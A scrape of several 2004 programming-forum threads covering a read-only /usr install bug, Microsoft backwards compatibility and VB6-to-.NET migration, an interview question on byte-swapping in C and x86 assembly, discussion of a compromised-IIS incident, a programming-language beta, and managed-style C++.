Fri 25 Jun | muppet from madebymonkeys.net | Jeff sounds like a typical Linux developer to me....
Fri 25 Jun | AllanL5 | Wow, what a cool thread that was. Even now, Jeff Johnson (whoever he is) just doesn't seem to 'get it', and he doesn't 'get' that he doesn't 'get it'. Sure, the easiest answer is 'don't do that, it won't work'. I'd like my car to fly, so I drive it off a cliff. It breaks. I complain it's a bug. In that circumstance, 'don't DO that' is very appropriate. (Also, it is not in the design of a car to fly. At least, not MY car.) I don't know, maybe Jeff analyzed how hard it would be to determine the /usr file-system was Read-Only, and then not do the things that corrupted the rmmdb database. Maybe he concluded this was a lot of work, that would have little pay-off. Maybe. But I do agree with the thread posters. Okay, so having '/usr' Read-Only is a fatal error to the install. So be it. But don't trash my rmmdb database in the process. Add a check somewhere VERY early in the install process to see if '/usr' is Read-only, and abort before any damage is done. Preferably with a message saying 'Oh! By the way, your '/usr' file system is Read-only. Please change this and run again.'
Fri 25 Jun | mb | Simon-- Won't fix and not a bug are often different. One means that it's a bug, but not important enough to fix. The other means it's not a bug. I don't know how this project manages its bugs, but a won't fix bug usually gets closed, to be possibly revisited later by looking at all closed 'won't fix' bugs.
Sat 26 Jun | Simon Lucy | WONTFIX may mean that, but even if it does it shouldn't be used that way. No bug is too trivial to fix, you may not schedule it for fixing but you shouldn't define it as WONTFIX, maybe some far off release tag.
Sat 26 Jun | somemorone | AllanL5: I think the don't do that advice can be considered a workarround (in this situation) I think your analogy is wrong. It should be more like: If I turn on my car radio and tune into a particular frequency, my speakers blow up. Advice: Don't tune into that frequency Bug: A wrong setting in a car radio shouldn't be able to blow up my speakers.
Microsoft Backwards Compatibility Religion not | Fri 25 Jun | Gregg Tavares
Maybe I missed it but Joel seems to claim Microsoft lost their backwards compatibility religion. His proof is all the new APIs that come out that ignore old APIs (like Windows Forms) But thats a flawed example. MS hasnt dropped backward compatibility at all. Did someone say DOS programs or Win32 API programs will stop running on Longhorn? No! All that is happening is Longhorn programs wont run on XP. Same has Win95 programs didnt run on Win 3.1 and Win3.1 programs didnt run on DOS. New APIs dont break old stuff if the old stuff doesnt disappear, New APIs just provide new features the old APIs didnt. This has always been the case, nothing new here, no reason to think the sky is falling. This is not like Mac and OS-X which basically didnt run lots of OS 9 programs. Its going to be more like 3.1 -> 95. All the old programs will run, theyll run fine in fact, but new programs will do new cool things. Pretty straight forward no?
Fri 25 Jun | Simon Lucy | Not really no. Currently we write applications for the workstations and O/S's that are out there. We can write, develop and distribute applications for 9x, 2k and XP (and NT if really needed), without thinking too much about it. Yes there are anomalies but for the most part its manageable. If we write applications targetted at Longhorn and using Avalon then they will not run on current platforms. If we take no notice of Longhorn and carry on regardless, those applications may run, or they may not on this future operating system. Before going anywhere near it we're going to have to be more than just sure whatever API mechanism exists that it will run on all those platforms. The take up of new operating systems is getting proportionately slower, we are stuck with 9x machines existing (there are still many users using DOS applications at the core of their business, they still work), for the forseeable future. We will have 2K and XP for at least the next ten years. For, as the man says, software does not rust. At the moment there is zero incentive for me to develop in anything like .NET or its descendants. If I were to make the change I'd want that change to be completely cross platform and that means I'm likely to still make my choice from XUL/Gecko, wxWindows, Swing and possibly Mono but only if I can see openness between the MS Frameworks and Mono's Frameworks.
Fri 25 Jun | Ged Byrne | Backwards compatability is not just about running old code. It is also about allowing new code to age gracefully. For an application created in VB1 for Windows 3.1 there has been a steady upgrade path. There has been some work to upgrade from one version of VB to the next, but nothing like a rewrite was every required. In most cases new features were made available, but the old stuff still worked. Now that path is broken. Developers are faced with a choice if they begin to write a new app. The can write it in VB and take advantage of there experience and the huge installed base. However, VB is not going to be upgraded. No new features will be added. In a few years time that VB code will look ancient and upgrading it to look smart be hard. Eventually you will have to rewrite that app in .Net. On the other hand, you can go with .Net now, but then you're application has to wait for the framework to become generally available. Microsoft have never made developers face this type of choice before and it is frustrating. To make it even worse, the even refuse to lighten the load a little by providing a linker.
Fri 25 Jun | Doug | If converting VB to whatever.net is enough of a problem then someone will solve it with a compiler to automate the conversion.  Sounds like a market opportunity.
Fri 25 Jun | Mr. Analogy | 'Sounds like a market opportunity. ' Yes, actually I've wondered what would happen if someone came up with VB 7. Something very close to the syntax of VB 6 (for zero learning curve). I think it may be hard to have an app migrate easily because VB 6 had some wierd fieatures to give it 'object oriented-like features'. However, even just giving it a zero learning curve would be great. Imagine the power of Delphi and the ease of VB. I'd pay $2k for that IN A SECOND.
Fri 25 Jun | Aaron F Stanton | The important backward compatability that MS lost is VB. VB.Net simply cannot read in a VB6 project unless you run it through the .net-ifier tool first. There are a blue ton of VB6 projects just sitting there, and MS certainly could have written a VB6 runtime and parser/compiler that targeted .Net. The CLR can handle a really wide range of languages (there's a demo lisp machine in the SDK, for Pete's sake, pretty dang far from Java/C#/C++/VB.Net), so the back end shouldn't be the issue - it can be done. I think the real issue is trying to cram the VB6 language into the CodeDOM for nifty code generation features. I believe that VB.Net fits much more neatly into CodeDOM than VB6 would. I could be wrong on that. Anyway, it would be really nice if people could incrementally improve existing VB6 projects in .Net beginning with a simple recompile. Open the old project, rebuild it, and bang, a .Net app. No conversion of code, no errors (except those that already showed up in VB6, of course), no thinking required. Sure, the project wouldn't be taking full advantage of all the neat new .Net features, but so what? It would *work*. Then gradually add new components, refactor over time, and eventually you have all the old stuff replaced by the new. Right now it's pretty much an all-or-nothing scenario.
Sat 26 Jun | happy Mac | You reasoning seems to have 2 flaws. First, you remark that '[...] Win3.1 programs didn't run on DOS', which is misleading. Early Windows programs, like Excel, *did* run on DOS -- or rather, they ran on a Windows runtime that was shipped with the application. As Joel points out, this is one of the obstacles to adoption that Microsoft had to overcome to get people to use Excel. (I'm not sure this changes the conclusion, but it's a glaring error, to me.) Second, you say Mac OS X didn't (past tense?) run a lot of Mac OS 9 programs. I was a full-time Mac user during the OS 9 -> OS X transition, and I had zero applications that didn't work under Classic (OS X's OS 9 emulation layer). A lot of people cried 'the sky is falling!', but I never figured out why. I still can't name a single application that works under Mac OS 9 but doesn't work under Mac OS X. (Can you?) I have a bunch of Windows NT 4 compatibility horror stories, though, if you're interested. :-)
Optimize this: | Thu 24 Jun | wish I was an asm expert
Interview question, that Im stewing over. He sez to me, write an endian inverter. I say OK, here: unsigned long func( void *ptr ) { unsigned char *p = ptr, b[4]; b[3] = p[0]; b[2] = p[1]; b[1] = p[2]; b[0] = p[3]; return *(unsigned long*)&b[0]; } He sez, too many locals, compiler cannot optimize the register space. Optimize it. I say: unsigned long func2( void *ptr ) { unsigned long *p = ptr, b; b = (*p >> 24) & 0x000000ff; b |= (*p >> 8) & 0x0000ff00; b |= (*p << 8) & 0x00ff0000; b |= (*p << 24) & 0xff000000; return b; } He sez: wrong, I didnt say ptr was 32 bit aligned. AND NOW I have a Royal Queen Bee up my ass about this. I ran, ideas through gcc to x86 and PPC assembler to see what can be optimized. I dont think the first version can be optimized just based on the asm output. Here it is for x86: func: pushl %ebp movl %esp, %ebp subl $8, %esp movl 8(%ebp), %eax movl %eax, -4(%ebp) movl -4(%ebp), %eax movb (%eax), %al movb %al, -5(%ebp) movl -4(%ebp), %eax incl %eax movb (%eax), %al movb %al, -6(%ebp) movl -4(%ebp), %eax addl $2, %eax movb (%eax), %al movb %al, -7(%ebp) movl -4(%ebp), %eax addl $3, %eax movb (%eax), %al movb %al, -8(%ebp) movl -8(%ebp), %eax leave ret I just dont think it can be done any better, but what the hell do I know?
Thu 24 Jun | . | "He sez"?
Thu 24 Jun | Kyralessa | Apparently he writes his English in assembler too.
Thu 24 Jun | christopher baus.net | I'd probably just htonl or ntohl depending on the platform and be done with it.
Thu 24 Jun | Code Monkey | How about a simple.... #define CONV(x,y,z) ((unsigned long)(*((unsigned char *)x+y)))<
Thu 24 Jun | Mr. Fancypants | 'Sup Fool. Simple? Maybe. But the original poster's more even simpler code would also run faster. The guy who interviewed him was a dumb bitch that needs a gut punching.
Thu 24 Jun | Aussie Chick | When I read posts like this, I wonder how anybody manages to learn all this. If someone asked me this in an interview I would have no idea. I would be wanting someone to say 'write a 'hello world' program in C++ please' that is the level I am at.... I think good job for even knowing that, and the interviewer sounds like a jerk.,
Thu 24 Jun | Nix | 'I just don't think it can be done any better, but what the hell do I know?' Of course you can (5 instrutions, the others are init/finish stuff) ! =) func: push ebp mov ebp, esp mov ebx, [ebp] push byte ptr [ebx+3] push byte ptr [ebx+2] push byte ptr [ebx+1] push byte ptr [ebx+0] pop dword ptr [ebx] pop ebp ret
Fri 25 Jun | Nix | My current project is embedded software using a DSP from motorola. The strange thing is changing my mind from an assembler to another. PC: mov destination, source DSP: mov source, destination Pretty easy to put bugs ;)
Fri 25 Jun | Nix | Cosmetic change. I did the change 'in place'. To return the value, you need to change: pop dword ptr [ebx] to: pop eax
Fri 25 Jun | Zorm | This is some code that was posted on another forum I frequent and so I take no credit for it. __declspec(naked) unsigned short __fastcall ByteSwapWORD(unsigned short) { __asm { xchg cl, ch mov ax, cx } } __declspec(naked) unsigned long __fastcall ByteSwapDWORD(unsigned long) { __asm { bswap ecx mov eax, ecx } }
Fri 25 Jun | no name | *Tremendously* boring question.
Fri 25 Jun | Me Again | Thanks Nix, That's what I was looking for.
Fri 25 Jun | Mr. Fancypants | Sup Fools, Its good that people spend so much time thinking of things like this, since we all know that byte swapping tends to be the bottleneck in most applications!!
Fri 25 Jun | ronk! | Hopefully the interviewer didin't expect you to come up the right answer or else. Questions like these are to judge how you think, how you approach a problem. If you happen to solve it, make the mental leap during the interview, then great! I'ts more proof your smart. Otherwise, it doesn't mean your a dufus, just a slightly bigger risk of a being a dufus, all other things being equal. If you got real flustered in the interview and insisted that it was impossible to code it to run faster, then you failed. He wants to see you thinking super hard when faced with a super hard problem. If you puzzled and flustered and demured then you probably did ok. He'll see some humility, mostly he see a person sort of paralazed on the spot. This is the natural reaction, most people realize it. It probably won't cost you the job, assuming you did a good job on the other portions of the interview (like producing working code). If you quickly accepted it's possible there is a faster way, and took delight in working on the problem (maybe while working on it you said something like 'this is a fun problem' out loud), then when it was over if you said something like 'I'm going to keep thinking about that problem. It's bugging me.' We'll in this case you shown a real interest in the same puzzles that interest him which only helps you (he created the puzzle himself and he's), and you've shown a desire to tackle those puzzles even though you aren't being paid or rated for it. Good companies love that in employees. Of course if you appear phony it could backfire. Of course everything I written assumes the guy is a good interviewer at a good company. If not then your worst fears might be true, he might not hire your because you didn't come up with the exact right answer he was looking for. Yikes!
Fri 25 Jun | Jason McCullough | This is begging for an XOR trick.
Fri 25 Jun | Eric Hop | OK, I'll byte ;-) It's been a while, but how about something like: func: ; Most compiler can pass args in registers nowadays ; So arg is passed in eax rol ax,8 ; swap low order bytes rol eax,16 ; swap high and low order words rol ax,8 ; swap former high order bytes ret
Fri 25 Jun | Christopher Wells | There's a specialized 486+ opcode for this purpose, called 'BSWAP', so you can do it with a single instruction. http://www.google.com/search?hl=en&ie=UTF-8&q=bswap
Fri 25 Jun | Nix | Nice aproach Eric ! To the interviewer showing the rol or the stack code is better than the bswap. The formers show that you understand how the computer works.
Fri 25 Jun | William Campbell | >>>>>>>>>>>>>>> When I read posts like this, I wonder how anybody manages to learn all this. >>>>>>>>>>>>>>> Well, I'd guess that the type of C++/C (possibly asm) some of these guys do on a daily basis (for their job or possibly open source projects) gives them this type of experience. For example, embedded software development would give you different types of skills than the MFC/C++ (PDA development for the PocketPC) I've been doing for the past three years. When your using CString all the time, you get rusty on these other things. It doesn't make them smarter than you, it just shows the type of experience they've obtained.
Fri 25 Jun | son of parnas | > He sez: 'wrong, I didn't say ptr was 32 bit aligned'. I am confused over this. He definitely said it was 32 bits. What does the aligned part have to do with anything? If have any address a can get the next 4 bytes.
Fri 25 Jun | Dennis Forbes | He was probably looking for a 'magic answer', which many interviewers are in such a case. Perhaps he was probably looking for the in-place swap technique. For example void swap_values(unsigned char *p) { p[0] = p[0] ^ p[3]; p[3] = p[0] ^ p[3]; p[0] = p[0] ^ p[3]; p[1] = p[1] ^ p[2]; p[2] = p[1] ^ p[2]; p[1] = p[1] ^ p[2]; } unsigned long val = 0x1234567; swap_values((unsigned char *)&val);
Fri 25 Jun | Alex | I don't understand either. Whether it's aligned or not, a pointer fetches 4 bytes in a row. What's his problem? Maybe he's not so smart, or maybe he was testing you. About the 'rol' thing, pity C doesn't have a 'rol' instruction! >> 'this is a fun problem' out loud Note to self: always say 'this is a fun problem' out loud during interviews. And closing braces before writing any code. ;P
Fri 25 Jun | Peter Ibbotson | I get the 32 bit pointer bit over alignment, if you're on 68K[1] family processor *p will fail unless is it's dword aligned. I suspect the answer he wanted was: unsigned long func(void *ptr) { unsigned char *p=ptr; unsigned long retval; retval=*(p++); retval=(retval<<8)+*(p++); retval=(retval<<8)+*(p++); return(retval<<8)+*(p++); } which IIRC is the best you can do on a lot of processors, (x86 family excepted) Note: You cannot merge the p++ lines together onto one line. If you read the C spec carefully the ++ bits takes effect whenever the C compiler feels like it. So twodigit=(*(p++)-'0')+(*(p++)-'0'); where char *p='12'; may return either 11 or 12. (Note C99 may have changed this) [1] This is from memory and I also seem to recall that Alphas had the same problem and MS had insert an exception handler into NT to allow ported x86 code to run.
Fri 25 Jun | Eric Hop | Peter, why use the increment then, at all ? (apart from the fact that the final increment is unnecessary) Instead, why not just do: return (((((p[0] << 8) + p[1]) << 8) + p[2]) << 8) + p[3];
Fri 25 Jun | mb | isn't that much the same as the very first solution, just using shift instead of byte assignment?
Fri 25 Jun | Eric Hop | No, it's not. The compiler will be able to optimize this much better because of the relation between the bytes. In the first example the compiler would have to be very clever indeed to figure out that there IS a relation between those loose bytes it is supposed to process. Here's the code a decent optimizing compiler would probably be able to generate: func: ; pointer passed in eax push ebx mov ebx,eax xor eax,eax mov al,[ebx] shl eax,8 mov al,[ebx+1] shl eax,8 mov al,[ebx+2] shl eax,8 mov al,[ebx+3] pop ebx ret
Fri 25 Jun | Alex | Still far worse than what hand-rolled code would be, though. Plus there is a push and a pop... xchg ah, al ror eax, 16 xchg ah, al OK, so we're all showing off... :)
Fri 25 Jun | OP | Don't ask me why, but I did not think of Peter I's method - clear as it seemed. Playing with -O1,2,3 options on the gcc compiler, it makes similar code from my 1st example and his, but I will grant that Peter's does give the compiler better clues for dealing with the data and I think is what was being asked for. Oh well, I was not invited on site for further consultation. Lots of other fish in the sea however.
Fri 25 Jun | son of parnas | > *p will fail unless is it's dword aligned.' Then how can you have an array access? Isn't that a dereference?
Fri 25 Jun | mb | i think the difference is that I was thinking memory, you were thinking registers. memory may have byte addressing, while registers usually don't (but of course are way faster).
Sat 26 Jun | Brad Wilson | Here's how I would've answered the question: Me: 'Can we assume the code is for 32-bit Windows?' Interviewer: 'Yes.' Me: 'Call htonl().' Any interviewer worth his salt should recognize that the best solution to a problem is one that already exists and is debugged, especially when it's free (like htonl() is).
Sat 26 Jun | Brad Wilson | Oh, and for the original poster: 'He sez, too many locals, compiler cannot optimize the register space. Optimize it.' Your second version had the exact same number of locals: one pointer, and one 32-bit integer.
New IIS Hole Pt 2 | Thu 24 Jun | Dennis Forbes
http://www.incidents.org/ http://groups.google.ca/groups?hl=en&lr=&ie=UTF-8&safe=off&threadm=F5E81692-8CC7-471B-9751-3A9C69ECB013%40microsoft.com&rnum=1&prev=/groups%3Fq%3D217.107.218.147%26hl%3Den%26lr%3D%26ie%3DUTF-8%26safe%3Doff%26sa%3DN%26tab%3Dwg Furthermore, and this is hearsay, a friend claims that they visited microsoft.com and were surprized to see the same code appended on the Microsoft page. Ive yet to see anything detailed about what this is - either there is a brand new IIS exploit, or it could be negligent admins connecting with exploited systems (or using IE to browse the new from their server). Pretty spooky nontheless.
Thu 24 Jun | christopher baus (www.baus.net) | Sounds like there is speculation that it is coming in over an SSL exploit.  Was your friend running SSL?  I'm just about to put my first IIS box into production.  This is the last thing I want to deal with. 
Thu 24 Jun | Dennis Forbes | Indeed they do have SSL running.
Thu 24 Jun | christopher baus (www.baus.net) | This is yet another reason to run a logging reverse proxy. Hmm... Maybe the way to track this down is to put an IIS box out there with a proxy in front of it logging all the requests. When a the response includes the javascript, shut the connection down and go looking at the logs.
Fri 25 Jun | Nate Silva | Is it this? http://news.com.com/Corporate+Web+servers+infecting+visitors%27+PCs/2100-7349_3-5247187.html?tag=nefd.top
Fri 25 Jun | r1ch | Here's Microsoft's response: http://www.microsoft.com/security/incident/download_ject.mspx
Fri 25 Jun | Thanks Microsoft | IIS Internet Infection Server
Fri 25 Jun | Greg Hurlman | And all the admins that are complaining that this is all MS's fault because they had all of IIS's patches applied need to find new jobs (and may find themselves urged to do so by their employers). This was OS-level stuff, folks - MS04-011.
Fri 25 Jun | christopher baus (www.baus.net) | I just looked over that patch.  There are about 10 different fixes in there.  I would like to know how exactly the systems were infected.
Fri 25 Jun | W | And all the admins that are complaining that this is all MS's fault because they had all of IIS's patches applied need to find new jobs (and may find themselves urged to do so by their employers). This was OS-level stuff, folks - MS04-011. Greg Hurlman Not so fast. Microsoft may be urging people to apply this patch, however I had a system that was infected even though the patch had been applied (it was fully patched). Many of the forum posting that I have read indicated that other fully patched machines were also comprimised. My best guess is that this is an exploit for an unreported hole in IIS.
Fri 25 Jun | Greg Hurlman | Got URLs?  I'm not trying to refute you; I just want to read for myself.
Fri 25 Jun | Nate Silva | Did that patch fix the hole in IIS that allowed the rogue code onto the servers -- or did it also fix the hole in IE that infects people who browse the sites? I was under the impression that it only fixed the server-side hole.
Fri 25 Jun | christopher baus (www.baus.net) | Yea I've yet to see a document that states: 'This is the exploit used to install code on the server'
Sat 26 Jun | PaulJ | I'm surprised to hear that it's an SSL hole. In MS04-011, they say that the SSL hole is just a "denial of service" one, not a "remote code execution" one.
New Lingo Beta | Thu 24 Jun | Bill Rayer
Last year this forum gave me useful feedback on Lingo, and Ive implemented many of the suggestions. The main improvement is a Lingo class is no longer divided into separate sections. Hello World now looks like this: Lingo 1 class HelloNew public function main() code call Msgbox (Appname(), Hello World) end function end class Previously there was an exports section, followed by the contents keyword, followed by the actual declarations. All constructive feedback is sincerely welcome - there is a download at http://www.lingolanguage.com and theres no registration or other trickery. All the best
Thu 24 Jun | somemorone | I wonder about about all those tools that say no programming needed but still ship with a code editor and debugger.
Thu 24 Jun | Mr. Fancypants | 'Sup Fools No Programming Required! Unless you want it to do something!
Thu 24 Jun | ChickenLittle | A Windows programming toy language is a fine idea, but how can it be for both non-programmers and experienced programmers?  Anything that a non-programmer can use, I wouldn't want to create anything but toy apps in.
Thu 24 Jun | Bill Rayer | Who said 'no programming required', I didn't :) This is a compilable language I've worked on for several years. The idea is Lingo is a VHLL with relatively high level commands. Eg it has preconditions, memory management, data types that map directly onto files etc. It's a late beta and it should work properly. I wanted more feedback before unleashing it on an unsuspecting world.
Thu 24 Jun | somemorone | I'm sorry I took this sentence: Non-programmers who want to create simple programs. As for people that don't want to program.
Thu 24 Jun | no name | The part in the FAQ about syntax changing rubs me the wrong way.  Don't good languages get augmented rather than have breaking "changes" which require an upgrade tool?
Thu 24 Jun | Almost Anonymous | 'Don't good languages get augmented rather than have breaking 'changes' which require an upgrade tool?' No.
Fri 25 Jun | IUseVBandILikeIt | 'A Windows programming toy language is a fine idea, but how can it be for both non-programmers and experienced programmers?' They call this Visual Basic ! :)
Fri 25 Jun | Should be working | Bill, I don't have time to look at your beta, but I want to say you have my utmost respect for "walking the walk", for doing something you believe in and damn the critics.  What you're doing (have done) takes guts, determination, discipline and vision. It's 1% inspiration and 99% perspiration, and in my book you add up to 100%.
Sat 26 Jun | Bill Rayer | 'What you're doing (have done) takes guts, determination, discipline and vision. It's 1% inspiration and 99% perspiration, and in my book you add up to 100%.' Thank you very much - I like that. When I began Lingo I had no idea of the amount of work required to get it to a marketable state. I guessed 2 years and I'm embarrassed to say how long it really took.
Sat 26 Jun | Ged Byrne | Bill, I think extra credit is due because you really did get it to a marketable state. Not just the compiler, but also the docs and examples and tutorials. You must have spent ages on all that not-sexy stuff.
managing with C++ | Thu 24 Jun | Thomas E. Kammeyer
A while back nathan started a topic, strings in C++ that morphed into a discussion of the merits of Boost and the STL. Joels recent article about Microsoft losing the API wars talked about virtues of managed code, including why automatic memory management is good (roughly, because it translates into greater coder productivity). Id like to pick up somewhere between these with a new topic: why cant we use C++ _as_ _if_ it were managed by using Boost and the STL and never, never using pointers, the new and delete operators, and even many native types if necessary? This would amount to insisting on pure value-semantics implementations all of the time and trying to stay away from reference semantics and indirection. It could even be taken to the point of using the envelope-letter idiom all the time and never even passing things by const reference: envelope-letter objects can be passed cheaply by value when done right. Whenever needed, we go downstairs into what for these purposes would be the language basement and create new classes obeying whatever rules and doing whatever clever storage management necessary to work properly on the ground floor (anyone care to undertake an appropriate extension of the obvious metaphorical extension: going upstairs? I think it ends up writing to a subset of C++ that looks a lot like managed code). If needed, we provide them as templates, and if necessary we do any of the nifty tricks (like partial specialization) needed to make things efficient or compact. The idea would be to exploit the intersection between object-oriented programming and generic programming into which C++ has and is growing. An immense benefit is that things that often end up hidden behind the veil of the run-time in managed languages (garbage collection and memory management in general, for example) are just sitting around coded in C++. You can change them if you wish... theyre not platform specific (OK, youre going to hit me about GUIs...anyone know of a library that fits into the world-view that lets you easily create GUIs? Via the web or otherwise, I dont care). Managed code is really just a lifestyle choice... dont tell me you just cant stop yourselves from using those cool and shiny storage allocators; Im not buying it... were not children, after all. Managed code is not a mechanism decision, people: its a policy decision. Letting someone else make your policy decisions is giving into someone elses, you guessed it, fire and motion (copyright Spolsky, some year...). Seriously, why *not*? I think Ive given the reasons why, explicitly and implicitly.
Thu 24 Jun | Christopher Wells | Can Boost garbage-collect objects which have circular references to each other?
Thu 24 Jun | Mr. Fancypants | Sup, fool. If managed code isn't at the base of the language, sooner or later you'll find yourself using APIs that were designed by people who don't share your views on memory simplicity. Once your code is infected with one such API, you're fucked, you always have to think about memory management. The only way to avoid this eventuality is to write all of your own code from scratch and never use other people's APIs, and if you're willing to commit to that you might as well just switch languages to C# or Java or D anyway.
Thu 24 Jun | Mr. Fancypants | 'Sup, my homie. 'Can Boost garbage-collect objects which have circular references to each other? ' Sort of, but you have to be really careful and know when to use weak vs strong references for your smart pointers. So you're right back to having to care about the low level details, so the point of your question is valid.
Thu 24 Jun | Thomas E. Kammeyer | Christopher: good question. I'm not sure about Boost but I'm sure you can write reference counting that will make this work. Just not with references. You get to do this kind of thing: template class envelope { struct flap { L *ltr; int refs; } *f; ...private members to manage the flap and letter... public: ...public members to convert to and L& or const L& and other public management fns... }; ...which i've got part-way fleshed out already from days gone by (it's basically stalled). The idea is to try to get to something like... envelope es; es = 'hi'; that is, you use variable es like it's a string...you *only* pass it and work on it by value. if you want to update it with a function maybe you do this es = fn(es);. In fact, you'd probably keep explicit use of references to some extent. If you're careful and you stay on strict value semantics then there aren't references per se and this suffices. Note that with the envelope-letter idiom you get copy on demand... so the only real need for references would come from mutual update needs... and maybe something like Boosts shared pointers helps here... basically, you end up casting about for a managed pointer type (so to speak). The point is that you could make what essentially passes for a managed code run-time all within C++. The extent to which it already exists, I don't know (anyone?). It seems like it would be an immensely powerful environment when you needed it to be and an immensely easy-to-use environment the rest of the time... if people with deep knowledge of the language controlled themselves around the source... This feels like less than a whole answer... can anyone elaborate?
Thu 24 Jun | Thomas E. Kammeyer | Mr. Fancypants: with all due respect: bull. Most C# and Java programmers are already leaning heavily on unmanaged code via one of a few interfaces... or... umm... didn't JNI and IJW happen? My point is this: those mechanisms are going to incur the same liabilities w.r.t. caring about reference types and similar issues, and in the bargain (fun!) you get to deal with cross-paradigm programming issues.
Thu 24 Jun | Mr. Fancypants | 'Most C# and Java programmers are already leaning heavily on unmanaged code via one of a few interfaces... or... umm... didn't JNI and IJW happen?' 'Sup, fool. Some, maybe, but 'most'? You have sources to cite for that? The vast majority of people I know that use C# and Java are NOT using JNI or IJW. So step off.
Thu 24 Jun | a | foshizzle
Thu 24 Jun | Dan Maas | I see what you are getting at. If you designed a C++ system from scratch, you might be able to avoid explicit memory management entirely. I think this would work fine, but only if you strictly enforced a 'one-owner' system. i.e. as long as one object is always designated as the 'owner' of another object, it will work fine. The C++ language idioms like resource-acquisition-is-initialization are really well-suited for this. It gets problematic when more than one object needs to share ownership of something. You'll need reference counts or manual garbage collection. I claim that in the many-owner case, you'll end up writing your own garbage collector, or using reference-counted smart pointers everywhere, which is essentially the equivalent of a garbage collector.
Thu 24 Jun | Keith Wright | most C++ programmers get along just fine by making sure everything is owned by something. Some quite high percentage of tasks work very well in that way. Eventually I realized I'm not attempting certain solutions because I want to make sure it doesn't have any messy ownership problems. But what is really annoying me about C++ is writing so many damn constructors, assignment operator, clone, swap, and other assorted glue code.
Fri 25 Jun | Thomas E. Kammeyer | Dan and Keith: I'm not thinking you'd keep on going along and writing lots of glu code, allocation and deallocation code, and the like in C++. What I'm proposing is that a tight, small, templated set of reference-counting classes be used to do the management on enough basic objects that everything else can be made from them (at least in excess of 99% of the time) *without* appeal to writing, e.g., an override of the default assignment for a class. Then you *just* use that base of libraries. This is what you do with most managed code systems. For example, if you really need to in Java you can use JNI to get down and dirty (and no, Mr. F: I don't have hard data; and I'll admit that my purported observation is a bit dusty given the last few years hardware improvements...). I think most of the glue is basically done in Boost and the STL and needs to be 'gussied-up' to make it yield the kind of productivity improvements claimed by Joel for VB. OK, and enhanced a lot, too. But my point is that you don't have to build your code up from scratch to do these tasks... specifically not... you'd actually just use 'self-managing' objects instead. Code can be rolled into this 'idiom suite'; I've done some of it, though nothing that really fits the bill for what I'm trying to suggest here. As far as co-ownership, ownership cycles, and others... I think you can do it with something like the envelope class I presented above... kind of like Microsoft's MFC CString implementation to take an example. But there's got to be at least one difference: you probably need explicit control of the copy-on-demand mechanism that underlies such classes (you need to defeat it on writes to the object for a given variable... that gets you your mutual ownership, ownership cyclers, whatever you want, really). You never have to declare a C++ reference or pointer on this system of thinking... which is what I mean by pure value semantics. Note that my envelope above has a feature in common with CString: sizeof on it returns nothing more than the size of a pointer. Whether I could make good on making it elegant enough to make coding entirely within the bounds of the 'self-managed' ('automanaged?') objects feel easy and swift is, I admit, open. And yes, there's a performance hit, just like C# and Java... but coding the underlying runtime mechanisms directly in C++ lays bear the source of that performance hit. I admit that this makes us want to tinker, violate the abstraction, and second guess the framework... and that's an issue, but I think it's a good one. Here's why: I still claim that the possibility of automanaged code at least strongly suggests that whether to use 'managed' code is a policy and style question, a 'lifestyle choice'... not a mechanism question. And I still maintain that it's a bad idea to let Microsoft feed us something that creates what to me looks like an arbitrary division between the 'upstairs' code that we generally write and the 'downstairs' code that handles management issues like (to take my main example here) memory management. It forces us to turn a policy question into a mechanism question on their terms and engage in a conflation that is legendarily a bad idea: now that's F&M! By way of full disclosure: I keep harping on memory management... how about if someone who knows a good deal about C#, Java, or another relevant languages points to aspects of being 'managed', compiled to byte codes, incrementally compiled (like SML), or just plain interpreted that maybe can't be picked up in C++ this way... I'm selling, to a certain extent, syntactic sugar... what do people think are the limits on how sweet it can be made?
Fri 25 Jun | Craig | C++ offers libraries such as the boost ptr libraries and STL, which if understood properly often negate the need to do anything apart from allocation. Although learning C++ template syntax is not easy. When you start getting objects with complex copy constructors etc, maybe the level of abstraction is wrong. As usual., it's all about trade off's, almost any application can be coded by value, though it will be slow. But C++ offers the scope to mix by value semantics with smart pointers, so that the programmer can make a pragmatic choice. In the end that's what differentiates C++ from Java and C#, choices.
Fri 25 Jun | Coward I am! | This is why... http://www.joelonsoftware.com/articles/LeakyAbstractions.html
Fri 25 Jun | Thomas E. Kammeyer | Craig: so I guess I'm asking how far the limit can be pushed towards making C++ act more like 'safe' or 'managed' code and even have it look that way with all of the right libraries up front... Coward I Am!: yes, yes, I read the stuff about leaky abstractions... you think just because you enshrine an abstraction in a run-time it won't leak? It's just harder to deal with the leakage across programming paradigms or languages. I'd rather look at some stuff in C++ (the same language I'm already working in) than learn all about JNI. One thing I read last night w.r..t C# is the way to mark code as 'unsafe' and then just use pointers where you need. This is a lot like what I had in mind and it's already in C#. I don't know much about it. What about this: maybe this discussion suggests a healthier way to *teach* C++ to beginners: start having them use it through available libraries in parallel with Java and C# and try to use them the same way. THEN teach folks about JNI and about pointers and about the various ways code can get grittier and less managed. This is *not* how I would've recommended teaching these things 10 years ago, or even 5 years ago. Now, I think I have some sympathy for the argument that it's possible to be very productive in C# and Java and I think maybe we should teach people productivity first and then, as it were, turn the pinball machine around and teach them how to *make* one. Ultimately, a computer science curriculum would cover the same ground. But would it do it in a more practical-minded way? Better yet, if we could make working within a few libraries and a syntactic subset of C++ 'feel' more like Java or C#, it seems to me we'd find it easier to move between those languages as developers and choose the best tools for the job. A long time ago in A.I. there were three major knowledge representation frameworks (frames, semantic nets, logical notations of various particular kinds) and people to some degree measured themselves by how fluidly they could move between them in their heads, because it meant they were concentrating on the ideas underlying the notations and not tied to one notation. Without holding forth about whether that was good or bad, it does seem like a nice sign-post here: the more we can move fluidly between languages the better. And, of course, I like C++ for the fluidity of motion between the 'upstairs' and 'downstairs' region... though I think most people could be using the same 'downstairs' code... in fact... that code 'in the basement' as I put it in my original post, would make an interesting open source project.
Fri 25 Jun | Coward I am! | My point is even when you work your ass of to make the stuff work you need to know the details how it works to debug it. My experience with smart pointers in COM is just that. You need to referer to the source of the smartpointer implementation from time to time, just to figure out if your latest assignment operation did an addref to your pointer and the target smartpointer released it's previous pointer. Doing managed code with no pure pointers makes life easier but it also makes some of the bugs extremely hard due to the law of leaky abstraction. Thus making the programmers life very hard.
